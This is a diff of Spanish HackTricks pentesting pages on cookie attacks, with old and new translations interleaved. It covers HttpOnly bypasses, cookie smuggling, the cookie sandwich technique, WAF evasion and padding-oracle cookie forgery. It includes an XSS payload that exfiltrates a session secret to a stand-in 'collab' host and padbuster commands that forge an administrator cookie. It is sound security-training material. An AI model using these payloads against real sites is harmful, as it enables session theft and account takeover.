- Si la página está **enviando las cookies como la respuesta** de una request (por ejemplo en una página **PHPinfo**), es posible abusar del XSS para enviar una petición a esa página y **robar las cookies** de la respuesta (revisa un ejemplo en [https://blog.hackcommander.com/posts/2022/11/12/bypass-httponly-via-php-info-page/](https://blog.hackcommander.com/posts/2022/11/12/bypass-httponly-via-php-info-page/)).
|
||||
- Esto podría ser eludido con peticiones **TRACE** **HTTP** ya que la respuesta del servidor (si este método HTTP está disponible) reflejará las cookies enviadas. Esta técnica se llama **Cross-Site Tracking**.
|
||||
- Esta técnica es evitada por los **navegadores modernos al no permitir enviar una petición TRACE** desde JS. Sin embargo, se han encontrado algunos bypasses a esto en software específico, como enviar `\r\nTRACE` en lugar de `TRACE` a IE6.0 SP2.
|
||||
- Otra forma es la explotación de vulnerabilidades zero-day de los navegadores.
|
||||
- Es posible **sobrescribir HttpOnly cookies** realizando un Cookie Jar overflow attack:
|
||||
|
||||
- Si la página está **enviando las cookies como respuesta** de una solicitud (por ejemplo, en una página **PHPinfo**), es posible abusar de la XSS para enviar una solicitud a esta página y **robar las cookies** de la respuesta (ver un ejemplo en [https://blog.hackcommander.com/posts/2022/11/12/bypass-httponly-via-php-info-page/](https://blog.hackcommander.com/posts/2022/11/12/bypass-httponly-via-php-info-page/)).
|
||||
- Esto podría ser eludido con solicitudes **TRACE** **HTTP** ya que la respuesta del servidor (si este método HTTP está disponible) reflejará las cookies enviadas. Esta técnica se llama **Cross-Site Tracking**.
|
||||
- Esta técnica es evitada por **navegadores modernos al no permitir el envío de una solicitud TRACE** desde JS. Sin embargo, se han encontrado algunos bypasses a esto en software específico como enviar `\r\nTRACE` en lugar de `TRACE` a IE6.0 SP2.
|
||||
- Otra forma es la explotación de vulnerabilidades de día cero en los navegadores.
|
||||
- Es posible **sobrescribir cookies HttpOnly** realizando un ataque de desbordamiento de Cookie Jar:
|
||||
|
||||
{{#ref}}
|
||||
cookie-jar-overflow.md
|
||||
{{#endref}}
|
||||
|
||||
- Es posible usar el ataque de [**Cookie Smuggling**](#cookie-smuggling) para exfiltrar estas cookies.
|
||||
- Es posible usar un ataque de [**Cookie Smuggling**](#cookie-smuggling) para exfiltrar estas cookies
|
||||
- Si algún endpoint del lado del servidor devuelve el session ID en bruto en la respuesta HTTP (por ejemplo, dentro de comentarios HTML o un bloque de debug), puedes eludir HttpOnly usando un gadget XSS para solicitar ese endpoint, extraer el secreto con regex y exfiltrarlo. Ejemplo de patrón de payload XSS:
|
||||
```js
|
||||
// Extract content between <!-- startscrmprint --> ... <!-- stopscrmprint -->
|
||||
const re = /<!-- startscrmprint -->([\s\S]*?)<!-- stopscrmprint -->/;
|
||||
fetch('/index.php?module=Touch&action=ws')
|
||||
.then(r => r.text())
|
||||
.then(t => { const m = re.exec(t); if (m) fetch('https://collab/leak', {method:'POST', body: JSON.stringify({leak: btoa(m[1])})}); });
|
||||
```
|
||||
### Secure
|
||||
|
||||
### Seguro
|
||||
|
||||
La solicitud **solo** enviará la cookie en una solicitud HTTP solo si la solicitud se transmite a través de un canal seguro (típicamente **HTTPS**).
|
||||
La petición enviará la cookie en una solicitud HTTP únicamente si ésta se transmite por un canal seguro (típicamente **HTTPS**).
|
||||
|
||||
## Prefijos de Cookies
|
||||
|
||||
Las cookies con el prefijo `__Secure-` deben establecerse junto con la bandera `secure` de páginas que están aseguradas por HTTPS.
|
||||
Las cookies prefijadas con `__Secure-` deben establecerse junto con el flag `secure` desde páginas que estén protegidas por HTTPS.
|
||||
|
||||
Para las cookies con el prefijo `__Host-`, se deben cumplir varias condiciones:
|
||||
Para las cookies prefijadas con `__Host-`, se deben cumplir varias condiciones:
|
||||
|
||||
- Deben establecerse con la bandera `secure`.
|
||||
- Deben originarse de una página asegurada por HTTPS.
|
||||
- Se les prohíbe especificar un dominio, impidiendo su transmisión a subdominios.
|
||||
- La ruta para estas cookies debe establecerse en `/`.
|
||||
- Deben establecerse con el flag `secure`.
|
||||
- Deben originarse desde una página asegurada por HTTPS.
|
||||
- Está prohibido especificar un domain, impidiendo su transmisión a subdominios.
|
||||
- La path para estas cookies debe establecerse en `/`.
|
||||
|
||||
Es importante notar que las cookies con el prefijo `__Host-` no pueden ser enviadas a superdominios o subdominios. Esta restricción ayuda a aislar las cookies de la aplicación. Por lo tanto, emplear el prefijo `__Host-` para todas las cookies de la aplicación puede considerarse una buena práctica para mejorar la seguridad y el aislamiento.
|
||||
Es importante tener en cuenta que las cookies prefijadas con `__Host-` no pueden enviarse a superdominios ni a subdominios. Esta restricción ayuda a aislar las cookies de la aplicación. Por tanto, emplear el prefijo `__Host-` para todas las cookies de la aplicación puede considerarse una buena práctica para mejorar la seguridad y el aislamiento.
|
||||
|
||||
### Sobrescribiendo cookies
|
||||
### Sobrescritura de cookies
|
||||
|
||||
Así, una de las protecciones de las cookies con prefijo `__Host-` es prevenir que sean sobrescritas desde subdominios. Previniendo, por ejemplo, [**ataques de Cookie Tossing**](cookie-tossing.md). En la charla [**Cookie Crumbles: Unveiling Web Session Integrity Vulnerabilities**](https://www.youtube.com/watch?v=F_wAzF4a7Xg) ([**paper**](https://www.usenix.org/system/files/usenixsecurity23-squarcina.pdf)) se presenta que era posible establecer cookies con prefijo \_\_HOST- desde un subdominio, engañando al analizador, por ejemplo, añadiendo "=" al principio o al final...:
|
||||
Una de las protecciones de las cookies prefijadas con `__Host-` es evitar que sean sobrescritas desde subdominios. Previene, por ejemplo, [**Cookie Tossing attacks**](cookie-tossing.md). En la charla [**Cookie Crumbles: Unveiling Web Session Integrity Vulnerabilities**](https://www.youtube.com/watch?v=F_wAzF4a7Xg) ([**paper**](https://www.usenix.org/system/files/usenixsecurity23-squarcina.pdf)) se presentó que era posible establecer cookies con prefijo \_\_HOST- desde un subdominio, engañando al parser, por ejemplo añadiendo "=" al principio o al principio y al final...:
|
||||
|
||||
<figure><img src="../../images/image (6) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
O en PHP era posible añadir **otros caracteres al principio** del nombre de la cookie que iban a ser **reemplazados por caracteres de subrayado**, permitiendo sobrescribir cookies `__HOST-`:
|
||||
O en PHP era posible añadir **otros caracteres al principio** del nombre de la cookie que iban a ser **reemplazados por guiones bajos**, permitiendo sobrescribir las cookies `__HOST-`:
|
||||
|
||||
<figure><img src="../../images/image (7) (1) (1) (1) (1).png" alt="" width="373"><figcaption></figcaption></figure>
|
||||
|
||||
## Ataques de Cookies
|
||||
## Ataques a Cookies
|
||||
|
||||
Si una cookie personalizada contiene datos sensibles, revísala (especialmente si estás participando en un CTF), ya que podría ser vulnerable.
|
||||
Si una cookie personalizada contiene datos sensibles, revísala (especialmente si estás en un CTF), ya que podría ser vulnerable.
|
||||
|
||||
### Decodificación y Manipulación de Cookies
|
||||
### Decodificación y manipulación de cookies
|
||||
|
||||
Los datos sensibles incrustados en las cookies siempre deben ser examinados. Las cookies codificadas en Base64 o formatos similares a menudo pueden ser decodificadas. Esta vulnerabilidad permite a los atacantes alterar el contenido de la cookie e impersonar a otros usuarios codificando sus datos modificados de nuevo en la cookie.
|
||||
Los datos sensibles incrustados en cookies siempre deben ser examinados. Las cookies codificadas en Base64 u formatos similares a menudo pueden decodificarse. Esta vulnerabilidad permite a un atacante alterar el contenido de la cookie e impersonar a otros usuarios volviendo a codificar sus datos modificados en la cookie.
|
||||
|
||||
### Secuestro de Sesión
|
||||
### Session Hijacking
|
||||
|
||||
Este ataque implica robar la cookie de un usuario para obtener acceso no autorizado a su cuenta dentro de una aplicación. Al usar la cookie robada, un atacante puede hacerse pasar por el usuario legítimo.
|
||||
Este ataque implica robar la cookie de un usuario para obtener acceso no autorizado a su cuenta dentro de una aplicación. Usando la cookie robada, un atacante puede suplantar al usuario legítimo.
|
||||
|
||||
### Fijación de Sesión
|
||||
### Session Fixation
|
||||
|
||||
En este escenario, un atacante engaña a una víctima para que use una cookie específica para iniciar sesión. Si la aplicación no asigna una nueva cookie al iniciar sesión, el atacante, poseyendo la cookie original, puede hacerse pasar por la víctima. Esta técnica se basa en que la víctima inicie sesión con una cookie proporcionada por el atacante.
|
||||
En este escenario, un atacante engaña a una víctima para que use una cookie específica para iniciar sesión. Si la aplicación no asigna una nueva cookie al iniciar sesión, el atacante, que posee la cookie original, puede suplantar a la víctima. Esta técnica depende de que la víctima inicie sesión con una cookie suministrada por el atacante.
|
||||
|
||||
Si encuentras un **XSS en un subdominio** o **controlas un subdominio**, lee:
|
||||
|
||||
Si encontraste un **XSS en un subdominio** o **controlas un subdominio**, lee:
|
||||
|
||||
{{#ref}}
|
||||
cookie-tossing.md
|
||||
{{#endref}}
|
||||
|
||||
### Donación de Sesión
|
||||
### Session Donation
|
||||
|
||||
Aquí, el atacante convence a la víctima de usar la cookie de sesión del atacante. La víctima, creyendo que ha iniciado sesión en su propia cuenta, realizará inadvertidamente acciones en el contexto de la cuenta del atacante.
|
||||
Aquí, el atacante convence a la víctima para que use la cookie de sesión del atacante. La víctima, creyendo que ha iniciado sesión en su propia cuenta, realizará inadvertidamente acciones en el contexto de la cuenta del atacante.
|
||||
|
||||
Si encuentras un **XSS en un subdominio** o **controlas un subdominio**, lee:
|
||||
|
||||
Si encontraste un **XSS en un subdominio** o **controlas un subdominio**, lee:
|
||||
|
||||
{{#ref}}
|
||||
cookie-tossing.md
|
||||
{{#endref}}
|
||||
|
||||
### [Cookies JWT](../hacking-jwt-json-web-tokens.md)
|
||||
### [JWT Cookies](../hacking-jwt-json-web-tokens.md)
|
||||
|
||||
Haz clic en el enlace anterior para acceder a una página que explica posibles fallas en JWT.
|
||||
Click en el enlace anterior para acceder a una página que explica posibles fallos en JWT.
|
||||
|
||||
Los JSON Web Tokens (JWT) utilizados en cookies también pueden presentar vulnerabilidades. Para obtener información detallada sobre posibles fallas y cómo explotarlas, se recomienda acceder al documento vinculado sobre el hacking de JWT.
|
||||
Los JSON Web Tokens (JWT) usados en cookies también pueden presentar vulnerabilidades. Para obtener información detallada sobre posibles fallos y cómo explotarlos, se recomienda acceder al documento enlazado sobre hacking JWT.
|
||||
|
||||
### Cross-Site Request Forgery (CSRF)
|
||||
|
||||
Este ataque obliga a un usuario autenticado a ejecutar acciones no deseadas en una aplicación web en la que actualmente está autenticado. Los atacantes pueden explotar cookies que se envían automáticamente con cada solicitud al sitio vulnerable.
|
||||
Este ataque obliga a un usuario autenticado a ejecutar acciones no deseadas en una aplicación web en la que está actualmente autenticado. Los atacantes pueden aprovechar cookies que se envían automáticamente con cada petición al sitio vulnerable.
|
||||
|
||||
### Cookies Vacías
|
||||
### Empty Cookies
|
||||
|
||||
(Revisa más detalles en la [investigación original](https://blog.ankursundara.com/cookie-bugs/)) Los navegadores permiten la creación de cookies sin un nombre, lo que se puede demostrar a través de JavaScript de la siguiente manera:
|
||||
(Consulta más detalles en la [original research](https://blog.ankursundara.com/cookie-bugs/)) Los navegadores permiten la creación de cookies sin nombre, lo que puede demostrarse mediante JavaScript como sigue:
|
||||
```js
|
||||
document.cookie = "a=v1"
|
||||
document.cookie = "=test value;" // Setting an empty named cookie
|
||||
document.cookie = "b=v2"
|
||||
```
|
||||
El resultado en el encabezado de la cookie enviada es `a=v1; test value; b=v2;`. Intrigantemente, esto permite la manipulación de cookies si se establece una cookie con un nombre vacío, potencialmente controlando otras cookies al establecer la cookie vacía a un valor específico:
|
||||
El resultado en el encabezado de cookie enviado es `a=v1; test value; b=v2;`. Intrigantemente, esto permite la manipulación de cookies si se establece una cookie con nombre vacío, pudiendo controlar otras cookies al asignar a la cookie vacía un valor específico:
|
||||
```js
|
||||
function setCookie(name, value) {
|
||||
document.cookie = `${name}=${value}`
|
||||
@ -155,75 +165,76 @@ document.cookie = `${name}=${value}`
|
||||
|
||||
setCookie("", "a=b") // Setting the empty cookie modifies another cookie's value
|
||||
```
|
||||
Esto lleva a que el navegador envíe un encabezado de cookie interpretado por cada servidor web como una cookie llamada `a` con un valor `b`.
|
||||
Esto provoca que el navegador envíe una cabecera Cookie interpretada por todos los servidores web como una cookie llamada `a` con el valor `b`.
|
||||
|
||||
#### Error de Chrome: Problema de Código de Sustitución Unicode
|
||||
#### Bug de Chrome: problema con puntos de código sustitutos Unicode
|
||||
|
||||
En Chrome, si un código de sustitución Unicode es parte de una cookie establecida, `document.cookie` se corrompe, devolviendo una cadena vacía posteriormente:
|
||||
En Chrome, si un punto de código sustituto Unicode forma parte de una cookie establecida, `document.cookie` se corrompe y, posteriormente, devuelve una cadena vacía:
|
||||
```js
|
||||
document.cookie = "\ud800=meep"
|
||||
```
|
||||
Esto resulta en que `document.cookie` devuelve una cadena vacía, lo que indica una corrupción permanente.
|
||||
Esto provoca que `document.cookie` devuelva una cadena vacía, lo que indica una corrupción permanente.
|
||||
|
||||
#### Cookie Smuggling Debido a Problemas de Análisis
|
||||
#### Cookie Smuggling por problemas de parsing
|
||||
|
||||
(Revisa más detalles en la [investigación original](https://blog.ankursundara.com/cookie-bugs/)) Varios servidores web, incluidos los de Java (Jetty, TomCat, Undertow) y Python (Zope, cherrypy, web.py, aiohttp, bottle, webob), manejan incorrectamente las cadenas de cookies debido al soporte obsoleto de RFC2965. Lee un valor de cookie entre comillas dobles como un solo valor, incluso si incluye puntos y comas, que normalmente deberían separar pares clave-valor:
|
||||
(Consulte más detalles en el[original research](https://blog.ankursundara.com/cookie-bugs/)) Varios servidores web, incluidos los de Java (Jetty, TomCat, Undertow) y Python (Zope, cherrypy, web.py, aiohttp, bottle, webob), manejan incorrectamente las cadenas cookie debido al soporte obsoleto de RFC2965. Interpretan un valor de cookie entre comillas dobles como un único valor aunque incluya puntos y comas, que normalmente deberían separar pares clave-valor:
|
||||
```
|
||||
RENDER_TEXT="hello world; JSESSIONID=13371337; ASDF=end";
|
||||
```
|
||||
#### Vulnerabilidades de Inyección de Cookies
|
||||
#### Cookie Injection Vulnerabilities
|
||||
|
||||
(Revisa más detalles en la [investigación original](https://blog.ankursundara.com/cookie-bugs/)) El análisis incorrecto de cookies por parte de los servidores, notablemente Undertow, Zope y aquellos que utilizan `http.cookie.SimpleCookie` y `http.cookie.BaseCookie` de Python, crea oportunidades para ataques de inyección de cookies. Estos servidores no delimitan correctamente el inicio de nuevas cookies, permitiendo a los atacantes suplantar cookies:
|
||||
(Check further details in the[original research](https://blog.ankursundara.com/cookie-bugs/)) El análisis incorrecto de cookies por parte de servidores, notablemente Undertow, Zope y aquellos que usan Python's `http.cookie.SimpleCookie` y `http.cookie.BaseCookie`, crea oportunidades para cookie injection attacks. Estos servidores no delimitan correctamente el inicio de nuevas cookies, permitiendo a los atacantes falsificar cookies:
|
||||
|
||||
- Undertow espera una nueva cookie inmediatamente después de un valor entre comillas sin un punto y coma.
|
||||
- Zope busca una coma para comenzar a analizar la siguiente cookie.
|
||||
- Las clases de cookies de Python comienzan a analizar en un carácter de espacio.
|
||||
- Undertow expects a new cookie immediately after a quoted value without a semicolon.
|
||||
- Zope looks for a comma to start parsing the next cookie.
|
||||
- Python's cookie classes start parsing on a space character.
|
||||
|
||||
Esta vulnerabilidad es particularmente peligrosa en aplicaciones web que dependen de la protección CSRF basada en cookies, ya que permite a los atacantes inyectar cookies de token CSRF suplantadas, potencialmente eludiendo las medidas de seguridad. El problema se agrava por el manejo de nombres de cookies duplicados en Python, donde la última ocurrencia anula las anteriores. También plantea preocupaciones para las cookies `__Secure-` y `__Host-` en contextos inseguros y podría llevar a eludir autorizaciones cuando las cookies se envían a servidores backend susceptibles a suplantación.
|
||||
Esta vulnerabilidad es especialmente peligrosa en aplicaciones web que dependen de protección CSRF basada en cookies, ya que permite a los atacantes inyectar cookies de spoofed CSRF-token, potencialmente eludiendo medidas de seguridad. El problema se agrava por el manejo de nombres de cookies duplicados en Python, donde la última aparición anula las anteriores. También plantea preocupaciones para `__Secure-` y `__Host-` cookies en contextos inseguros y podría conducir a bypasses de autorización cuando las cookies se envían a back-end servers susceptibles a spoofing.
|
||||
|
||||
### Cookies $version
|
||||
|
||||
#### Bypass de WAF
|
||||
#### WAF Bypass
|
||||
|
||||
Según [**este blog**](https://portswigger.net/research/bypassing-wafs-with-the-phantom-version-cookie), podría ser posible usar el atributo de cookie **`$Version=1`** para hacer que el backend utilice una lógica antigua para analizar la cookie debido a la **RFC2109**. Además, otros valores como **`$Domain`** y **`$Path`** pueden ser utilizados para modificar el comportamiento del backend con la cookie.
|
||||
According to [**this blogpost**](https://portswigger.net/research/bypassing-wafs-with-the-phantom-version-cookie), podría ser posible usar el atributo de cookie **`$Version=1`** para que el backend utilice una lógica antigua para parsear la cookie debido a la **RFC2109**. Además, otros valores como **`$Domain`** y **`$Path`** pueden usarse para modificar el comportamiento del backend con la cookie.
|
||||
|
||||
#### Ataque de Sándwich de Cookies
|
||||
#### Cookie Sandwich Attack
|
||||
|
||||
Según [**este blog**](https://portswigger.net/research/stealing-httponly-cookies-with-the-cookie-sandwich-technique), es posible usar la técnica de sándwich de cookies para robar cookies HttpOnly. Estos son los requisitos y pasos:
|
||||
According to [**this blogpost**](https://portswigger.net/research/stealing-httponly-cookies-with-the-cookie-sandwich-technique) es posible usar la cookie sandwich technique para robar HttpOnly cookies. Estos son los requisitos y pasos:
|
||||
|
||||
- Encontrar un lugar donde una **cookie aparentemente inútil se refleja en la respuesta**
|
||||
- **Crear una cookie llamada `$Version`** con valor `1` (puedes hacer esto en un ataque XSS desde JS) con un camino más específico para que obtenga la posición inicial (algunos frameworks como Python no necesitan este paso)
|
||||
- **Crear la cookie que se refleja** con un valor que deje unas **comillas dobles abiertas** y con un camino específico para que se posicione en la base de datos de cookies después de la anterior (`$Version`)
|
||||
- Luego, la cookie legítima irá a continuación en el orden
|
||||
- **Crear una cookie ficticia que cierre las comillas dobles** dentro de su valor
|
||||
- Encuentra un lugar donde una aparente cookie inútil se refleje en la respuesta
|
||||
- **Crea una cookie llamada `$Version`** con valor `1` (puedes hacerlo en un ataque XSS desde JS) con un path más específico para que obtenga la posición inicial (algunos frameworks como python no necesitan este paso)
|
||||
- **Crea la cookie que se refleja** con un valor que deje una **comilla doble abierta** y con un path específico para que esté posicionada en la cookie db después de la anterior (`$Version`)
|
||||
- Entonces, la cookie legítima quedará a continuación en el orden
|
||||
- **Crea una dummy cookie que cierre las comillas dobles** dentro de su valor
|
||||
|
||||
De esta manera, la cookie de la víctima queda atrapada dentro de la nueva cookie versión 1 y se reflejará siempre que se refleje.
|
||||
De este modo la cookie víctima queda atrapada dentro de la nueva cookie versión 1 y será reflejada siempre que se refleje.
|
||||
p. ej. from the post:
|
||||
```javascript
|
||||
document.cookie = `$Version=1;`;
|
||||
document.cookie = `param1="start`;
|
||||
// any cookies inside the sandwich will be placed into param1 value server-side
|
||||
document.cookie = `param2=end";`;
|
||||
```
|
||||
### Bypass de WAF
|
||||
### WAF bypasses
|
||||
|
||||
#### Cookies $version
|
||||
|
||||
Consulta la sección anterior.
|
||||
|
||||
#### Análisis de bypass de valor con codificación de cadena entre comillas
|
||||
#### Bypassing value analysis with quoted-string encoding
|
||||
|
||||
Este análisis indica desescapar los valores escapados dentro de las cookies, por lo que "\a" se convierte en "a". Esto puede ser útil para eludir WAFS ya que:
|
||||
Este parsing indica des-escapar valores escapados dentro de las cookies, así que "\a" se convierte en "a". Esto puede ser útil para evadir WAFS, por ejemplo:
|
||||
|
||||
- `eval('test') => forbidden`
|
||||
- `"\e\v\a\l\(\'\t\e\s\t\'\)" => allowed`
|
||||
|
||||
#### Bypass de listas de bloqueo de nombres de cookies
|
||||
#### Bypassing cookie-name blocklists
|
||||
|
||||
En el RFC2109 se indica que se puede usar una **coma como separador entre los valores de las cookies**. Y también es posible agregar **espacios y tabulaciones antes y después del signo igual**. Por lo tanto, una cookie como `$Version=1; foo=bar, abc = qux` no genera la cookie `"foo":"bar, admin = qux"` sino las cookies `foo":"bar"` y `"admin":"qux"`. Observa cómo se generan 2 cookies y cómo se eliminó el espacio antes y después del signo igual.
|
||||
En RFC2109 se indica que **se puede usar una coma como separador entre valores de cookie**. Y también es posible añadir **espacios y tabulaciones antes y después del signo igual**. Por lo tanto una cookie como `$Version=1; foo=bar, abc = qux` no genera la cookie `"foo":"bar, admin = qux"` sino las cookies `foo":"bar"` y `"admin":"qux"`. Fíjate cómo se generan 2 cookies y cómo a admin se le eliminaron los espacios antes y después del signo igual.
|
||||
|
||||
#### Bypass de análisis de valor con división de cookies
|
||||
#### Bypassing value analysis with cookie splitting
|
||||
|
||||
Finalmente, diferentes puertas traseras se unirían en una cadena diferentes cookies pasadas en diferentes encabezados de cookies como en:
|
||||
Finalmente distintos backdoors concatenarían en una cadena distintas cookies pasadas en diferentes cookie headers, como en:
|
||||
```
|
||||
GET / HTTP/1.1
|
||||
Host: example.com
|
||||
@ -237,25 +248,25 @@ Cookie: comment')
|
||||
|
||||
Resulting cookie: name=eval('test//, comment') => allowed
|
||||
```
|
||||
### Comprobaciones de Cookies Extra Vulnerables
|
||||
### Comprobaciones extra vulnerables de Cookies
|
||||
|
||||
#### **Comprobaciones básicas**
|
||||
|
||||
- La **cookie** es la **misma** cada vez que inicias **sesión**.
|
||||
- Cierra sesión e intenta usar la misma cookie.
|
||||
- Intenta iniciar sesión con 2 dispositivos (o navegadores) en la misma cuenta usando la misma cookie.
|
||||
- Verifica si la cookie tiene alguna información y trata de modificarla.
|
||||
- Intenta crear varias cuentas con nombres de usuario casi idénticos y verifica si puedes ver similitudes.
|
||||
- Revisa la opción de "**recordarme**" si existe para ver cómo funciona. Si existe y podría ser vulnerable, siempre usa la cookie de **recordarme** sin ninguna otra cookie.
|
||||
- Verifica si la cookie anterior funciona incluso después de cambiar la contraseña.
|
||||
- La **cookie** es la **misma** cada vez que haces **login**.
|
||||
- Cierra sesión y prueba usar la misma cookie.
|
||||
- Intenta hacer log in con 2 dispositivos (o navegadores) en la misma cuenta usando la misma cookie.
|
||||
- Comprueba si la cookie tiene alguna información y prueba a modificarla
|
||||
- Intenta crear varias cuentas con casi el mismo username y comprueba si puedes ver similitudes.
|
||||
- Comprueba la opción **"remember me"** si existe para ver cómo funciona. Si existe y podría ser vulnerable, siempre usa la **cookie** de **remember me** sin ninguna otra cookie.
|
||||
- Comprueba si la cookie anterior funciona incluso después de que cambies la contraseña.
|
||||
|
||||
#### **Ataques avanzados a cookies**
|
||||
|
||||
Si la cookie permanece igual (o casi) cuando inicias sesión, esto probablemente significa que la cookie está relacionada con algún campo de tu cuenta (probablemente el nombre de usuario). Entonces puedes:
|
||||
Si la cookie permanece igual (o casi) cuando haces log in, probablemente esto significa que la cookie está relacionada con algún campo de tu cuenta (probablemente el username). Entonces puedes:
|
||||
|
||||
- Intentar crear muchas **cuentas** con nombres de usuario muy **similares** y tratar de **adivinar** cómo está funcionando el algoritmo.
|
||||
- Intentar **fuerza bruta al nombre de usuario**. Si la cookie se guarda solo como un método de autenticación para tu nombre de usuario, entonces puedes crear una cuenta con el nombre de usuario "**Bmin**" y **fuerza bruta** cada **bit** de tu cookie porque una de las cookies que intentarás será la que pertenece a "**admin**".
|
||||
- Intentar **Padding** **Oracle** (puedes descifrar el contenido de la cookie). Usa **padbuster**.
|
||||
- Intenta crear muchas **accounts** con usernames muy **similares** y trata de **adivinar** cómo funciona el algoritmo.
|
||||
- Intenta **bruteforce the username**. Si la cookie se usa solo como método de autenticación para tu username, entonces puedes crear una cuenta con username "**Bmin**" y **bruteforce** cada **bit** de tu cookie porque una de las cookies que probarás será la que pertenece a "**admin**".
|
||||
- Intenta **Padding** **Oracle** (puedes descifrar el contenido de la cookie). Usa **padbuster**.
|
||||
|
||||
**Padding Oracle - Ejemplos de Padbuster**
|
||||
```bash
|
||||
@ -269,9 +280,9 @@ padBuster http://web.com/home.jsp?UID=7B216A634951170FF851D6CC68FC9537858795A28E
|
||||
```
|
||||
Padbuster hará varios intentos y te preguntará cuál es la condición de error (la que no es válida).
|
||||
|
||||
Luego comenzará a descifrar la cookie (puede tardar varios minutos).
|
||||
Luego empezará el decrypting de la cookie (puede tardar varios minutos).
|
||||
|
||||
Si el ataque se ha realizado con éxito, entonces podrías intentar cifrar una cadena de tu elección. Por ejemplo, si quisieras **encrypt** **user=administrator**.
|
||||
Si el ataque se ha realizado con éxito, entonces podrías intentar encrypt una cadena de tu elección. Por ejemplo, si quisieras **encrypt** **user=administrator**.
|
||||
```
|
||||
padbuster http://web.com/index.php 1dMjA5hfXh0jenxJQ0iW6QXKkzAGIWsiDAKV3UwJPT2lBP+zAD0D0w== 8 -cookies thecookie=1dMjA5hfXh0jenxJQ0iW6QXKkzAGIWsiDAKV3UwJPT2lBP+zAD0D0w== -plaintext user=administrator
|
||||
```
|
||||
@ -279,31 +290,34 @@ Esta ejecución te dará la cookie correctamente cifrada y codificada con la cad
|
||||
|
||||
**CBC-MAC**
|
||||
|
||||
Tal vez una cookie podría tener algún valor y podría ser firmada usando CBC. Entonces, la integridad del valor es la firma creada utilizando CBC con el mismo valor. Como se recomienda usar como IV un vector nulo, este tipo de verificación de integridad podría ser vulnerable.
|
||||
Quizá una cookie podría tener algún valor y podría estar firmada usando CBC. Entonces, la integridad del valor es la firma creada usando CBC con el mismo valor. Como se recomienda usar como IV un vector nulo, este tipo de comprobación de integridad podría ser vulnerable.
|
||||
|
||||
**El ataque**
|
||||
|
||||
1. Obtener la firma del nombre de usuario **administ** = **t**
|
||||
2. Obtener la firma del nombre de usuario **rator\x00\x00\x00 XOR t** = **t'**
|
||||
3. Establecer en la cookie el valor **administrator+t'** (**t'** será una firma válida de **(rator\x00\x00\x00 XOR t) XOR t** = **rator\x00\x00\x00**
|
||||
1. Obtén la firma del username **administ** = **t**
|
||||
2. Obtén la firma del username **rator\x00\x00\x00 XOR t** = **t'**
|
||||
3. Establece en la cookie el valor **administrator+t'** (**t'** será una firma válida de **(rator\x00\x00\x00 XOR t) XOR t** = **rator\x00\x00\x00**
|
||||
|
||||
**ECB**
|
||||
|
||||
Si la cookie está cifrada usando ECB, podría ser vulnerable.\
|
||||
Cuando inicias sesión, la cookie que recibes tiene que ser siempre la misma.
|
||||
Si la cookie está cifrada usando ECB podría ser vulnerable.\
|
||||
Cuando inicias sesión la cookie que recibes tiene que ser siempre la misma.
|
||||
|
||||
**Cómo detectar y atacar:**
|
||||
|
||||
Crea 2 usuarios con datos casi idénticos (nombre de usuario, contraseña, correo electrónico, etc.) y trata de descubrir algún patrón dentro de la cookie dada.
|
||||
Crea 2 users con datos casi iguales (username, password, email, etc.) y trata de descubrir algún patrón dentro de la cookie dada
|
||||
|
||||
Crea un usuario llamado, por ejemplo, "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" y verifica si hay algún patrón en la cookie (como ECB cifra con la misma clave cada bloque, los mismos bytes cifrados podrían aparecer si el nombre de usuario está cifrado).
|
||||
Crea un user llamado por ejemplo "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" y comprueba si hay algún patrón en la cookie (ya que ECB cifra con la misma key cada bloque, los mismos bytes cifrados podrían aparecer si el username está cifrado).
|
||||
|
||||
Debería haber un patrón (con el tamaño de un bloque utilizado). Así que, sabiendo cómo se cifran un montón de "a", puedes crear un nombre de usuario: "a"\*(tamaño del bloque)+"admin". Luego, podrías eliminar el patrón cifrado de un bloque de "a" de la cookie. Y tendrás la cookie del nombre de usuario "admin".
|
||||
Debería haber un patrón (con el tamaño del bloque usado). Así, sabiendo cómo se cifra un bloque de "a" puedes crear un username: "a"\*(size of the block)+"admin". Entonces, podrías eliminar el patrón cifrado de un bloque de "a" de la cookie. Y tendrás la cookie del username "admin".
|
||||
|
||||
## Referencias
|
||||
|
||||
- [https://blog.ankursundara.com/cookie-bugs/](https://blog.ankursundara.com/cookie-bugs/)
|
||||
- [https://www.linkedin.com/posts/rickey-martin-24533653_100daysofhacking-penetrationtester-ethicalhacking-activity-7016286424526180352-bwDd](https://www.linkedin.com/posts/rickey-martin-24533653_100daysofhacking-penetrationtester-ethicalhacking-activity-7016286424526180352-bwDd)
|
||||
- [https://portswigger.net/research/bypassing-wafs-with-the-phantom-version-cookie](https://portswigger.net/research/bypassing-wafs-with-the-phantom-version-cookie)
|
||||
- [https://seclists.org/webappsec/2006/q2/181](https://seclists.org/webappsec/2006/q2/181)
|
||||
- [https://www.michalspacek.com/stealing-session-ids-with-phpinfo-and-how-to-stop-it](https://www.michalspacek.com/stealing-session-ids-with-phpinfo-and-how-to-stop-it)
|
||||
- [https://blog.sicuranext.com/vtenext-25-02-a-three-way-path-to-rce/](https://blog.sicuranext.com/vtenext-25-02-a-three-way-path-to-rce/)
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
@ -1,181 +1,182 @@
|
||||
# Restablecimiento/Olvido de Contraseña Bypass
|
||||
# Reset/Forgotten Password Bypass
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
||||
## **Filtración del Token de Restablecimiento de Contraseña a Través del Referente**
|
||||
## **Password Reset Token Leak Via Referrer**
|
||||
|
||||
- El encabezado HTTP referer puede filtrar el token de restablecimiento de contraseña si se incluye en la URL. Esto puede ocurrir cuando un usuario hace clic en un enlace de un sitio web de terceros después de solicitar un restablecimiento de contraseña.
|
||||
- **Impacto**: Posible toma de control de cuenta a través de ataques de Cross-Site Request Forgery (CSRF).
|
||||
